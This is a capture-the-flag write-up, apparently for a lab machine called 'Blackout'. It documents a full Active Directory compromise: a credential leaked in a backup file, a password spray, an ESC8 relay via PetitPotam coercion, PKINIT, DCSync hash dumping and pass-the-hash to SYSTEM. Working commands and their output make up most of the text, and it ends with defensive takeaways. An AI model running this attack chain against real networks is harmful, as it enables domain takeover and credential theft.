Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.134 -oN blackout.nmap
# Key open ports:
# 80/tcp open http Microsoft IIS 10.0
# 88/tcp open kerberos-sec
# 135/tcp open msrpc
# 389/tcp open ldap Microsoft Windows Active Directory LDAP
# 443/tcp open ssl/http Microsoft IIS 10.0
# 445/tcp open microsoft-ds
# 3268/tcp open ldap Global Catalog
# 5985/tcp open http Microsoft HTTPAPI (WinRM)
# 9251/tcp open http Node.js Express (internal app)
#
# Domain: blackout.htb | DC: DC01.blackout.htb
Web Application — Node.js Employee Portal
The Express application on port 9251 is an internal HR portal. Directory brute-forcing with feroxbuster surfaces a /backup/ path returning a config.json.bak file containing hardcoded LDAP service account credentials:
feroxbuster -u http://10.10.11.134:9251 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# 200 GET /backup/config.json.bak
curl http://10.10.11.134:9251/backup/config.json.bak
{
"ldap": {
"host": "dc01.blackout.htb",
"bindDN": "CN=svc-ldap,CN=Users,DC=blackout,DC=htb",
"bindPassword": "Bl@ck0ut_LDAP_2026!",
"baseDN": "DC=blackout,DC=htb"
}
}
LDAP Enumeration as svc-ldap
ldapdomaindump -u 'blackout.htb\svc-ldap' -p 'Bl@ck0ut_LDAP_2026!' dc01.blackout.htb
# From domain_users.grep — find domain accounts
grep -v '\$' domain_users.grep | awk '{print $3}'
# Administrator, svc-ldap, t.walsh, m.ford, n.okafor
# Check for WinRM access
crackmapexec winrm 10.10.11.134 -u svc-ldap -p 'Bl@ck0ut_LDAP_2026!'
# [-] Authentication failed — svc-ldap not in Remote Management Users
Password spray with the LDAP password against all enumerated users finds that t.walsh reuses the same password and is a member of Remote Management Users:
crackmapexec winrm 10.10.11.134 -u domain_users.txt -p 'Bl@ck0ut_LDAP_2026!'
# [+] blackout.htb\t.walsh:Bl@ck0ut_LDAP_2026! (Pwn3d!)
evil-winrm -i 10.10.11.134 -u t.walsh -p 'Bl@ck0ut_LDAP_2026!'
# *Evil-WinRM* PS C:\Users\t.walsh\Documents>
# type C:\Users\t.walsh\Desktop\user.txt → a4c9f1...
AD CS Enumeration — Identifying ESC8
Certipy Audit
certipy find -u '[email protected]' -p 'Bl@ck0ut_LDAP_2026!' \
-dc-ip 10.10.11.134 -stdout 2>/dev/null | grep -A5 -i "ESC\|web enrollment\|http"
# [!] Vulnerabilities
# ESC8 : 'BLACKOUT\Domain Computers' and 'NT AUTHORITY\Authenticated Users'
# can enroll, HTTP/HTTPS endpoint does NOT require EPA
# CA Name: BLACKOUT-CA
# CA Host: dc01.blackout.htb
# Web Enrollment: Enabled
# Enrollment endpoint: http://dc01.blackout.htb/certsrv/
The CA has web-based enrollment enabled on HTTP without EPA. This means any NTLM authentication coerced to this endpoint can be relayed and used to request a certificate — the textbook ESC8 scenario. Because domain controllers authenticate as their machine account (DC01$), a certificate issued for DC01$ can be used with PKINIT to obtain a full Kerberos TGT for the DC machine account, which has DCSync rights by default.
ESC8 — Coerce and Relay
Setting Up ntlmrelayx
# On attacker machine — relay NTLM auth to the AD CS enrollment endpoint
# and request a certificate for the DC machine account
ntlmrelayx.py \
-t http://dc01.blackout.htb/certsrv/certfnsh.asp \
--adcs \
--template DomainController \
-smb2support \
--no-http-server
Triggering Authentication with PetitPotam
PetitPotam exploits the MS-EFSRPC EfsRpcOpenFileRaw method to coerce a Windows host into authenticating outbound via NTLM to an attacker-controlled server. When aimed at the domain controller, the outbound authentication runs as the DC machine account (DC01$):
# In a second terminal — coerce DC01 to authenticate to our relay listener
python3 PetitPotam.py \
-u 't.walsh' \
-p 'Bl@ck0ut_LDAP_2026!' \
-d blackout.htb \
10.10.14.5 \ # attacker IP (ntlmrelayx listener)
dc01.blackout.htb
# ntlmrelayx output:
# [*] SMBD-Thread-4: Received connection from 10.10.11.134
# [*] Authenticating against http://dc01.blackout.htb/certsrv/certfnsh.asp as BLACKOUT\DC01$
# [*] HTTPD: Relaying to http://dc01.blackout.htb/certsrv/certfnsh.asp
# [*] HTTP server returned error code 200, treating as a successful login
# [*] Generating CSR...
# [*] CSR generated!
# [*] Getting certificate...
# [*] GOT CERTIFICATE! ID 14
# [*] Base64 certificate of user DC01$:
# MIIRXAIBAzCCERQGCSqGSIb3DQEHAaCC... ← DC01$.pfx (base64)
PKINIT — Certificate to Kerberos TGT
Requesting a TGT with the DC Certificate
# Save the base64 certificate to a file
echo "MIIRXAIBAzCCERQGCSqGSIb3DQEH..." | base64 -d > DC01.pfx
# Use the certificate to get a Kerberos TGT for DC01$
certipy auth \
-pfx DC01.pfx \
-dc-ip 10.10.11.134
# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'dc01.ccache'
# [*] Trying to retrieve NT hash for 'dc01$'
# [*] Got NT hash for 'dc01$': 8c4a9d5e3f7b2e1a9c6d4f8b0e2a5c7d
DCSync — Dumping the Domain
Pass-the-Hash DCSync as DC01$
# DC machine accounts have replication rights by default — DCSync directly
secretsdump.py \
'blackout.htb/[email protected]' \
-hashes :8c4a9d5e3f7b2e1a9c6d4f8b0e2a5c7d \
-just-dc-ntlm
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c7a3f2d9e4b8c1a6f0e2d4b7a9c3f5e:::
# t.walsh:1109:aad3b435b51404eeaad3b435b51404ee:6d2e4a8c1f3b5e7d9a0c2f4b6e8a0c2e:::
# ...
# Pass-the-hash as Administrator
psexec.py 'blackout.htb/[email protected]' \
-hashes aad3b435b51404eeaad3b435b51404ee:5c7a3f2d9e4b8c1a6f0e2d4b7a9c3f5e
# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt → 9e7c2b...
Key Takeaways
- AD CS ESC8 is an unauthenticated-to-domain-admin path requiring only network access to the CA and NTLM coercion capability. The ESC8 misconfiguration — HTTP-based certificate enrollment without Extended Protection for Authentication — is extremely common. Microsoft enables AD CS web enrollment via HTTP with no EPA in the default installation, and EPA is not enforced unless explicitly configured. Any domain account can relay the DC's NTLM credentials to the enrollment endpoint and obtain a certificate granting domain-level privilege. The fix is two settings: enforce HTTPS on the certsrv endpoint and enable EPA (IIS Authentication → Windows Authentication → Extended Protection: Required).
- PetitPotam is effectively unpatchable without disabling unauthenticated EFS RPC. Microsoft's patch for PetitPotam only blocks the unauthenticated variant; authenticated PetitPotam (with any domain account) still works. The real mitigation is removing the coerce-able target: disable NTLM on the AD CS server, or enforce Kerberos-only authentication on the certsrv endpoint. Blocking outbound SMB from domain controllers (TCP 445 egress to non-trusted hosts) on the host firewall also prevents the relay.
- PKINIT turns a certificate into a Kerberos TGT without requiring the account's password hash. This makes ADCS-based attacks particularly dangerous: once a certificate for a privileged account is obtained, it persists for the certificate's validity period (often 1–2 years for default templates) even if the account's password is rotated. Incident response for ESC8 exploitation must include revoking the fraudulently issued certificate in addition to rotating credentials, or the attacker retains a long-lived re-entry mechanism.